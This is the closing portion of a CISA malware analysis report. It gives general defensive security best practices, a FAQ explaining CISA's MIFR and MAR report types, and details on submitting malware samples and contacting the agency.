CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "**Guide to Malware Incident Prevention & Handling for Desktops and Laptops**".

**Contact Information**

**Document FAQ**

**What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

**What is a MAR?** A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

**Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-844-Say-CISA or [CISA Service Desk](#)✉.

**Can I submit malware to CISA?** Malware samples can be submitted via three methods:

- Web: <https://malware.us-cert.gov>
- E-Mail: [submit@malware.us-cert.gov](mailto:submit@malware.us-cert.gov)✉
- FTP: <ftp://malware.us-cert.gov> (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at [www.cisa.gov](http://www.cisa.gov).

---

Source: <https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a>